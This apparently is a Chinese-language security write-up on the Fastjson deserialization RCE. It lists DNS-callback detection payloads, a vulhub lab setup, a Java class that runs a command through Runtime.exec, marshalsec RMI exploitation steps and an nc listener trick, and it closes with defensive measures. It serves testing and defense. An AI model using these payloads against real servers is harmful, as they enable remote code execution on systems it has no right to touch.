Fastjosn 无疑是这两年的漏洞之王, 一手反序列化RCE影响无数厂商, 目前1.2.48以下版本稳定受影响, 1.2.68以下版本开启Autotype会受到影响
(不排除传说中的1.2.67以下RCE漏洞, 期待八仙过海)
Fastjson < 1.2.48 (<1.2.68?)
可以通过DNS回显的方式检测后端是否使用Fastjson
{"@type":"java.net.Inet4Address", "val":"dnslog"}
{"@type":"java.net.Inet6Address", "val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL", "val":"dnslog"}]
Set[{"@type":"java.net.URL", "val":"dnslog"}
{{"@type":"java.net.URL", "val":"dnslog"}:0
可以通过DOS时间延迟或者报错回显的方式检测
用marshalsec开启RMI服务
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
执行如下命令启动一个spring web项目,其中使用fastjson作为默认json解析器:
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
访问http://your-ip:8090即可看到一个json对象被返回,我们将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。
目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
用javac编译代码
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
用python搭建http
启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
向目标发送payload即可
5. 利用技巧
1.如何查看服务器的jdk版本呢, 这里也有个小技巧
nc -lvvp 80#[marshalsec中指定的HTTP端口]
当服务器连接过来时, User-Agent中会标明当前服务器的JDK版本
2.当发现一台Redis的数据中有@type字样时, 意味着autotype大概率是开的, 只要不存在黑名单中的利用链都可以用#[同理可以用在jackson上]
fastjson/GenericFastJsonRedisSerializer.java at master · alibaba/fastjson
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java
public class GenericFastJsonRedisSerializer implements RedisSerializer
其他消息队列之类的都是同理
6. 防护方法
1.升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
2.WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
3.最少升级到1.2.48以上版本且关闭autotype选项
4.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上